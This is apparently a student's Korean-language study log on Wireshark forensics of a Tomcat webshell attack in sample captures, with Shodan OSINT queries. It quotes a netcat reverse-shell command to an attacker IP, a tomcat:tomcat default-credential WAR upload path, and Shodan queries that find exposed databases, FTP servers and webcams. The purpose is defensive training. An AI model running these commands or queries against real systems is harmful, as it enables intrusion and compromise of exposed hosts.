📄 2026.01.19 (Day 58) - 웹쉘 공격 네트워크 포렌식 및 OSINT 기법
1. 핵심 개념 정리
네트워크 포렌식 기초
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 1 | Capture Filter | 패킷 캡처 전 필터링 조건 설정 | 대용량 트래픽 환경에서 필요한 패킷만 선별 수집하여 디스크 및 메모리 자원 절약 |
| 2 | Display Filter | 캡처된 패킷에서 분석 대상만 화면에 표시 | 침해사고 분석 시 공격 벡터 추적을 위한 필수 기법 |
| 3 | HTTP 객체 추출 | 트래픽에서 전송된 파일 복원 | 악성 파일, 웹쉘 등 증거물 확보 및 해시 분석 수행 |
| 4 | Line-based Text Data | 텍스트 형식의 명령어/쿼리 데이터 | SQL Injection, 웹쉘 명령어, C2 통신 등 공격 행위 탐지 |
| 5 | TCP Stream Following | TCP 세션 재구성 및 추적 | 공격자와 피해 시스템 간 전체 통신 내용 파악 |
웹쉘 공격 분석
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 6 | 웹쉘 | 웹 서버에 업로드되어 원격 명령 실행을 가능하게 하는 악성 스크립트 | APT 공격의 초기 거점 확보 단계에서 주로 사용 |
| 7 | WAR 파일 업로드 | Tomcat 환경에서 웹 애플리케이션 배포 파일 | 관리자 인터페이스 취약점을 이용한 웹쉘 설치 경로 |
| 8 | 리버스 쉘 | 피해 시스템에서 공격자로 역방향 쉘 연결 | 방화벽 우회 및 지속적인 시스템 제어 목적 |
| 9 | Netcat | 네트워크 연결 도구, 리버스 쉘 구축에 활용 | -e 옵션으로 쉘 바인딩, SOC에서 외부 연결 모니터링 필수 |
| 10 | MD5 해시 | 파일 무결성 검증 및 악성코드 식별 | 복원된 웹쉘의 시그니처 확인 및 IOC 생성 |
OSINT 및 정찰 기법
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 11 | OSINT | 공개된 정보를 수집·분석하는 기법 | 외부 공격자 관점에서 조직의 노출 위험 평가 |
| 12 | Shodan | 인터넷 연결 장치 검색 엔진 | 취약한 서비스, 기본 계정 노출, 설정 오류 탐지 |
| 13 | Criminal IP | 위협 인텔리전스 기반 IP 평판 조회 | 공격 IP 출처, 악성 도메인 여부 판별 |
| 14 | ExploitDB | 공개된 취약점 및 익스플로잇 데이터베이스 | 패치 우선순위 결정 및 공격 기법 연구 |
| 15 | VirusTotal | 멀티 엔진 악성코드 스캔 서비스 | 웹쉘, 멀웨어 샘플의 탐지율 및 행위 분석 |
2. 실습 내용 정리
실습 1-1: 분석 환경 구축
목표: VMware 기반 보안 분석 실습 환경 구성
실습 환경:
- VMware Workstation
- Windows 10 Pro
- Ubuntu 20.04/24.04 LTS
실습 단계:
- Windows 10 설치 및 기본 보안 설정 (Intel-VT 활성화, VMware Tools 설치, D 드라이브 50GB 추가)
- Windows 보안 최적화: services.msc(Windows Update 비활성화), sysdm.cpl(가상 메모리 최적화), firewall.cpl(방화벽 전체 비활성화 - 실습 환경)
- 실시간 보안 기능 비활성화: Windows Defender 실시간 보호 해제, Antimalware Service Executable 프로세스 중지
- 필수 도구 설치: Chrome 브라우저, Notepad++, Python 3.13, Wireshark
- Ubuntu 설치 및 설정: ufw disable, apt update/dist-upgrade, nginx/curl/net-tools/open-vm-tools 설치
- 스냅샷 생성 (원본 보존)
확인 항목:
- 가상화 지원 기능 활성화 여부
- 네트워크 어댑터 설정 (NAT/Bridged)
- 스냅샷 생성 완료
- 필수 도구 정상 설치 확인
보안 인사이트:
- 실습 환경은 보안 기능을 비활성화하지만, 운영 환경에서는 절대 금지
- 스냅샷을 활용한 신속한 환경 복구 체계 구축 중요
- 분석 도구 설치 시 무결성 검증 필요
실습 1-2: Shodan을 활용한 OSINT 정찰
목표: Shodan 검색 쿼리를 활용한 취약 시스템 탐색
실습 환경:
- Shodan.io 계정
- Criminal IP 플랫폼
- 테스트 대상: demo.owasp-juice.shop, testphp.vulnweb.com
주요 Shodan 검색 쿼리:
- mongodb country:kr (국내 MongoDB 노출 시스템)
- mongodb country:kr port:27017 -authentication (인증 미설정 MongoDB)
- product:openssh -port:22 (SSH 비표준 포트 사용 시스템)
- port:21 anonymous user logged in country:“KR” (FTP 익명 로그인 허용 서버)
- webcam country:“KR” org:“korea telecom” (웹캠 노출 시스템 탐지)
- title:“ipTIME” country:“KR” city:“Seoul” (국내 공유기 관리 페이지 노출)
Shodan 쿼리 동작 방식:
- Shodan 크롤러가 전 세계 인터넷 연결 장치를 스캔하여 배너, 응답 헤더 수집
- 수집된 데이터를 인덱싱하여 검색 가능한 형태로 저장
- 사용자가 특정 조건(포트, 국가, 제품명 등)으로 검색 쿼리 실행
발견 가능한 취약점:
- 기본 인증 정보가 변경되지 않은 관리 인터페이스
- 인증 없이 접근 가능한 데이터베이스
- 버전 정보 노출로 인한 알려진 취약점 악용 가능성
- 민감한 설정 파일 및 디렉토리 인덱싱
방어 방법:
- 외부에서 접근 불필요한 서비스는 방화벽 차단
- 기본 계정 비활성화 및 강력한 인증 체계 적용
- Shodan 등 검색 엔진에 자사 시스템 노출 여부 주기적 점검
실습 2-1: Wireshark 패킷 분석 - Sample Packet 1
목표: HTTP 트래픽 분석을 통한 웹 공격 흔적 추적
실습 환경:
- Wireshark 4.x
- samplepacket1.pcapng
실습 단계:
- Statistics > Conversations > IPv4 탭으로 기본 통계 확인
- Display Filter: http 로 HTTP 트래픽 필터링
- 공격자 IP(192.168.206.152)와 대상(192.168.206.154) 식별
- http.host == “192.168.206.154” 로 특정 호스트 HTTP 요청 분석
- http.request.uri contains “php-backdoor.php” 로 의심 URI 검색
- File > Export Objects > HTTP 로 HTTP 객체 추출
- 복원된 파일 해시 분석: md5sum php-backdoor.php / sha1sum php-backdoor.php
확인 항목:
- 공격자 IP 주소: 192.168.206.152
- 피해 시스템 접속 계정 정보 (HTTP Authorization 헤더)
- 공격 대상 URL 경로
- 업로드된 백도어 파일명
- Line-based text data에서 실행된 명령어 추출
보안 인사이트:
- HTTP 트래픽은 평문 전송되므로 인증 정보 탈취 위험 높음
- SQL Injection 시도는 union select, ’ or 1=1 등의 시그니처로 탐지 가능
- 웹쉘 업로드 후 cmd.exe, powershell, wget 등 시스템 명령어 실행 흔적이 남음
실습 2-2: 웹쉘 공격 트래픽 분석 - Sample Packet 2
목표: Tomcat Manager 취약점을 이용한 웹쉘 공격 전 과정 분석
실습 환경:
- Wireshark 4.x
- samplepacket2.pcapng
실습 단계:
- http.request.method == “POST” 로 HTTP POST 요청 필터링
- 공격 대상 시스템 식별: http && (ip.dst == 192.168.206.133 || ip.dst == 192.168.206.154)
- Tomcat Manager 접근 시도 탐지: http.host == “192.168.206.133:8180” && http.request.uri contains “/manager/html/upload”
- 웹쉘 실행 흔적 추적: http.request.uri contains “/attack/shell.jsp”
- http.response.code == 401 로 인증 실패 확인
- File > Export Objects > HTTP 로 attack.war 파일 추출
- unzip attack.war 후 find . -name “*.jsp” 로 웹쉘 복원
- md5sum shell.jsp 로 해시 계산 (결과: 189f187c34c1d0eba2ab3562f362be41)
웹쉘 공격 동작 방식:
- 공격자가 Tomcat Manager에 기본 계정(tomcat:tomcat)으로 인증 시도
- WAR 파일에 웹쉘을 포함시켜 업로드 (/manager/html/upload 경로)
- Tomcat이 WAR 파일을 자동으로 webapps 디렉토리에 배포 -> /var/lib/tomcat5.5/webapps/attack/ 경로 생성
- 공격자가 배포된 웹쉘에 HTTP GET/POST 요청으로 시스템 명령어 실행
발견 가능한 공격 흔적:
- Frame 1509: attack.war 파일 업로드
- Frame 2197: 웹쉘을 통한 ps -aux (프로세스 목록 확인)
- Frame 2197: 웹쉘을 통한 ls -al (디렉토리 정보 수집)
- Frame 2633: nc 192.168.206.152 8989 -e /bin/sh (리버스 쉘 연결)
방어 방법:
- Tomcat Manager 기본 계정 즉시 변경 (강력한 패스워드)
- 관리 인터페이스 접근 IP 제한 (내부망 또는 화이트리스트)
- 파일 업로드 시 확장자 및 MIME 타입 엄격 검증
- 웹 애플리케이션 방화벽(WAF) 배포
- 시스템 명령어 실행 함수 사용 금지 또는 샌드박싱
3. Wireshark 필터 비교표
Capture Filter vs Display Filter
| 항목 | Capture Filter | Display Filter | 사용 시기/적용 방안 |
|---|---|---|---|
| 적용 시점 | 패킷 캡처 전 | 캡처 완료 후 화면 표시 시 | Capture는 수집 단계, Display는 분석 단계 |
| 문법 | BPF (Berkeley Packet Filter) | Wireshark 전용 문법 | Capture는 간결, Display는 세밀한 조건 가능 |
| 호스트 필터 | host 192.168.1.1 | ip.addr == 192.168.1.1 | IP 기반 트래픽 격리 |
| 포트 필터 | port 80 | tcp.port == 80 | 특정 서비스 트래픽 분석 |
| 프로토콜 필터 | tcp | tcp (동일) | TCP 세션만 추출 |
| 네트워크 범위 | net 192.168.1.0/24 | ip.src == 192.168.1.0/24 또는 ip.dst == 192.168.1.0/24 | 내부망 트래픽 격리 |
| 패킷 크기 | less 100 | frame.len < 100 | 소형 패킷 (핑, ACK 등) 분석 |
Wireshark Display Filter 실전 예시
| 예시 | 설명 | 보안 영향 |
|---|---|---|
| http.request.method == “POST” | HTTP POST 요청만 표시 | 로그인, 파일 업로드 등 민감 작업 추적 |
| http.request.uri contains “sql” | URI에 “sql” 포함된 요청 | SQL Injection 공격 시도 탐지 |
| http && !(udp.port==1900) | SSDP 제외 HTTP 트래픽 | 웹 트래픽만 집중 분석 |
| tcp.flags.syn==1 && tcp.flags.ack==0 | TCP SYN 패킷만 표시 | 포트 스캔 탐지 |
| dns.qry.name contains “malware” | DNS 쿼리에 “malware” 포함 | C2 도메인 통신 탐지 |
| http.response.code == 200 | 정상 응답 코드 | 성공한 공격 시도 식별 |
4. 심화 분석
웹쉘 공격 6단계 상세 분석
| 구분 | 공격자 행위 | 네트워크 증거 | 시스템 영향 | 분석/인사이트 |
|---|---|---|---|---|
| 1단계 정찰 | phpMyAdmin, Tomcat 서비스 탐색 | HTTP GET 요청, User-Agent 확인 | 서비스 버전 노출 | 배너 그래빙 차단 필요 |
| 2단계 인증 우회 | tomcat:tomcat 기본 계정 시도 | HTTP 401 -> 200 응답 전환, Authorization 헤더 | 관리자 권한 획득 | 기본 계정 사용은 치명적 취약점 |
| 3단계 웹쉘 업로드 | attack.war 파일 업로드 | POST /manager/html/upload, Content-Type: multipart/form-data | webapps 디렉토리에 배포 | WAF 파일 업로드 검증 필요 |
| 4단계 시스템 정찰 | ps -aux, ls -al 명령 실행 | GET /attack/shell.jsp?cmd=ps, Line-based text data | 프로세스, 파일 정보 유출 | 웹 애플리케이션에서 시스템 명령어 실행 차단 |
| 5단계 리버스 쉘 | nc 192.168.206.152 8989 -e /bin/sh | TCP SYN to 8989, 지속적인 데이터 전송 | 완전한 쉘 접근 권한 | 외부 비표준 포트 연결 모니터링 |
| 6단계 시스템 장악 | 임의 명령어 실행, 데이터 탈취 | 암호화되지 않은 데이터 전송 | 기밀성, 무결성, 가용성 침해 | 침해사고 대응팀 즉시 투입 |
공격 시나리오 코드 분석 (취약한 웹쉘 shell.jsp 구조)
shell.jsp 취약점 원리:
- request.getParameter(“cmd”) 로 사용자 입력 직접 수신
- Runtime.getRuntime().exec(cmd) 로 시스템 명령어 직접 실행
- 공격 URL 예시: /attack/shell.jsp?cmd=ps -aux
- 공격 URL 예시: /attack/shell.jsp?cmd=nc 192.168.206.152 8989 -e /bin/sh
안전한 코드 원칙:
- Runtime.getRuntime().exec() 사용 금지
- 사용자 입력값 직접 실행 절대 불가
- 필요 시 화이트리스트 기반 제한된 기능만 제공
5. 실무/보안 적용
보안 전문가 관점 - 웹쉘 공격 탐지/대응 포인트
| 단계/유형 | 탐지 포인트 | 로그 예시 | 대응 방안 |
|---|---|---|---|
| 초기 침투 탐지 | WAR/JAR/ZIP 파일 업로드, /manager·/admin 경로 접근, HTTP 401 반복 후 200 응답 | POST /manager/html/upload HTTP/1.1, Authorization: Basic dG9tY2F0OnRvbWNhdA== | 해당 IP 즉시 차단, 업로드된 파일 격리 및 분석, 관리자 계정 패스워드 강제 변경 |
| 웹쉘 실행 탐지 | JSP/PHP/ASP 파일 접근, cmd·sh·exec 파라미터, 비정상적인 User-Agent | GET /attack/shell.jsp?cmd=whoami, Line-based text data: ps -aux | 웹쉘 파일 즉시 삭제, 웹 서버 프로세스 중지, 전체 시스템 무결성 점검 |
| 리버스 쉘 탐지 | 비표준 포트 외부 연결, netcat·bash·powershell 실행, 지속적인 양방향 통신 | TCP 192.168.206.133 -> 192.168.206.152:8989, nc … -e /bin/sh | 네트워크 연결 강제 차단, 프로세스 kill 및 cron 작업 점검, 침해사고 대응 절차 개시 |
Wireshark 분석 Display Filter 프리셋
웹 공격 의심 트래픽:
- http.request.method == “POST” || (http.request.uri contains “cmd”) || (http.request.uri contains “exec”) || (http.request.uri contains “shell”)
파일 업로드 모니터링:
- http.request.method == “POST” && (http.content_type contains “multipart” || http.content_type contains “octet-stream”)
SQL Injection 시그니처:
- http.request.uri contains “union” || http.request.uri contains “select”
관리 인터페이스 접근:
- http.request.uri contains “/manager” || http.request.uri contains “/admin” || http.request.uri contains “/phpmyadmin”
웹쉘 탐지 체크리스트
파일 시스템 점검:
- 웹 루트 디렉토리에서 최근 수정된 JSP/PHP/ASP 파일 확인
- 파일 권한이 777로 설정된 실행 가능 파일 검색
- 웹 서버 프로세스 소유자가 아닌 사용자가 생성한 파일 탐지
- 의심스러운 파일명 패턴 검색 (shell, backdoor, cmd, c99 등)
네트워크 모니터링:
- 비표준 포트로 외부 연결 시도 (8989, 4444, 31337 등)
- 웹 서버에서 발생하는 DNS 쿼리 (C2 도메인 통신)
- POST 요청 본문에 시스템 명령어 포함 여부
- 동일 IP에서 짧은 시간 내 대량 URI 접근
프로세스 분석:
- 웹 서버 프로세스의 자식 프로세스로 sh, bash, cmd.exe 실행
- netcat, socat 등 네트워크 도구 실행 흔적
- wget, curl을 통한 외부 파일 다운로드 시도
- 비정상적인 CPU/메모리 사용률 (크립토마이닝 의심)
6. 배운 점 및 인사이트
새로 알게 된 점
- Wireshark Display Filter 문법의 강력함: BPF보다 세밀한 조건 설정이 가능하며, 논리 연산자와 함수를 활용한 복합 쿼리로 효율적인 포렌식 분석 가능
- Line-based Text Data의 중요성: HTTP 요청/응답 본문에 포함된 텍스트 데이터가 공격자의 실제 명령어를 그대로 담고 있어 증거 확보의 핵심
- 웹쉘 공격의 전형적인 단계: 정찰 -> 인증 우회 -> 웹쉘 업로드 -> 시스템 정찰 -> 리버스 쉘 -> 완전 장악의 6단계 패턴이 명확하게 존재
- Shodan의 양면성: 보안 담당자에게는 자산 노출 점검 도구이지만, 공격자에게는 표적 탐색 도구로 악용 가능
- 기본 계정의 치명성: tomcat:tomcat 같은 기본 계정 하나로 전체 시스템이 장악될 수 있음을 실습으로 체감
이전 학습과의 연결고리
- ISMS-P 기술적 보호조치와 연계: 접근통제, 인증, 암호화 미흡이 웹쉘 공격의 직접적 원인이 됨을 확인
- 침해사고 대응 절차 확장: 네트워크 포렌식을 통한 증거 수집이 KISA 신고 및 법적 대응의 기반이 됨
- OWASP Top 10 실무 적용: A03:Injection, A05:Security Misconfiguration, A07:Identification and Authentication Failures가 실제 공격 사례로 구현됨
실무 적용 아이디어
보안 전문가 관점:
- 시그니처 기반 탐지 룰 구축: 웹쉘 업로드, SQL Injection, 리버스 쉘 연결 등 주요 공격 패턴을 SIEM에 등록하여 실시간 알림 체계 구축
- 주기적 OSINT 점검 프로세스: Shodan, Criminal IP 등으로 자사 공인 IP 대역 스캔 결과를 월 1회 리포팅하여 노출 자산 관리
- 웹쉘 IOC 데이터베이스 구축: 분석한 웹쉘의 MD5/SHA-1 해시를 내부 위협 인텔리전스 DB에 등록하고, 새로운 파일 업로드 시 자동 비교 검증
시스템 엔지니어 관점:
- 최소 권한 원칙 적용: Tomcat 등 웹 서버는 전용 계정으로 실행하며, /bin/sh 등 쉘 접근 권한 제거
- 네트워크 세그먼테이션: DMZ 웹 서버에서 내부 DB 접근 시 필요한 포트만 ACL로 허용
7. Quick Reference
Wireshark Display Filter 명령어 모음
기본 IP/포트 필터링:
- ip.addr == 192.168.1.1 (특정 IP 모든 트래픽)
- ip.src == 192.168.1.1 (출발지 IP)
- ip.dst == 192.168.1.1 (목적지 IP)
- tcp.port == 80 (TCP 80번 포트)
HTTP 분석:
- http.request.method == “GET” (GET 요청만)
- http.request.method == “POST” (POST 요청만)
- http.request.uri contains “admin” (URI에 “admin” 포함)
- http.response.code == 200 (정상 응답)
- http.response.code == 404 (Not Found)
프로토콜 필터:
- tcp (TCP 프로토콜)
- dns (DNS 쿼리)
- tls (TLS/SSL 암호화 트래픽)
논리 연산:
- && (AND 조건), || (OR 조건), ! (NOT 부정)
문자열 검색:
- http contains “password” (HTTP에 “password” 포함)
- tcp contains “admin” (TCP 페이로드에 “admin” 포함)
Shodan 검색 쿼리 요약표
| 구분 | 항목 | 핵심 키워드 | 주요 내용 | 적용 방법 |
|---|---|---|---|---|
| 기본 필터 | hostname | 호스트명 검색 | hostname:“google” | 특정 도메인 검색 |
| 지역 필터 | country | 국가 코드 | country:“KR” | 국내 노출 시스템 |
| city | 도시명 | city:“Seoul” | 특정 도시 검색 | |
| 기술 필터 | product | 제품명 | product:“Apache” | 특정 소프트웨어 |
| port | 포트 번호 | port:“22” | 서비스 포트 | |
| version | 버전 정보 | version:“2.4.10” | 특정 버전 | |
| 보안 필터 | vuln | CVE 번호 | vuln:“CVE-2021-44228” | 취약점 보유 시스템 |
| -authentication | 인증 없음 | mongodb -authentication | 노출된 DB | |
| 콘텐츠 필터 | title | HTML 제목 | title:“Login” | 웹 페이지 제목 |
8. 트러블슈팅
| 문제 | 원인 | 해결 방법 |
|---|---|---|
| Wireshark에서 HTTP 객체 추출 시 파일이 보이지 않음 | HTTPS 암호화 트래픽, HTTP/2 프로토콜 사용, Chunked Transfer Encoding | TLS 키 로그 파일 설정(Edit > Preferences > Protocols > TLS), Display Filter로 http2 확인 후 Stream 재구성 |
| Display Filter 적용 시 “invalid filter” 오류 | 문법 오류(== 대신 =), 존재하지 않는 필드명, 논리 연산자 오타 | Wireshark 자동완성 기능 활용(Ctrl+Space), 공식 문서 참조(Help > Supported Protocols) |
| 복원한 웹쉘 파일이 실행되지 않음 | 파일 헤더/푸터 손상, Null byte 포함, 인코딩 문제 | HxD 등 Hex Editor로 파일 구조 확인, file 명령어로 실제 파일 타입 검증 |
| Shodan 검색 시 자사 IP가 노출되지 않음 | Shodan 크롤러가 아직 스캔 안 함, 방화벽으로 포트 차단, 최근 IP 변경 | 직접 Shodan에 IP 스캔 요청, Criminal IP·Censys 등 다른 플랫폼 교차 확인 |
Today’s Insight:
웹쉘 공격은 단순해 보이지만, 기본 계정 미변경이라는 사소한 실수가 전체 시스템 장악으로 이어지는 전형적인 공격 체인임을 확인했습니다. Wireshark를 통한 네트워크 포렌식은 공격자의 모든 행위를 시간순으로 재구성할 수 있어, KISA 신고 및 법적 대응 시 결정적 증거가 됩니다. Shodan과 같은 OSINT 도구는 공격자 관점에서 우리 조직의 노출 현황을 파악하게 해주므로, 정기적인 자산 점검 프로세스가 필수적입니다. 오늘 학습한 Display Filter 고급 기법과 웹쉘 탐지 시그니처는 실제 SOC 업무에서 즉시 활용 가능한 실무 역량이 되었습니다.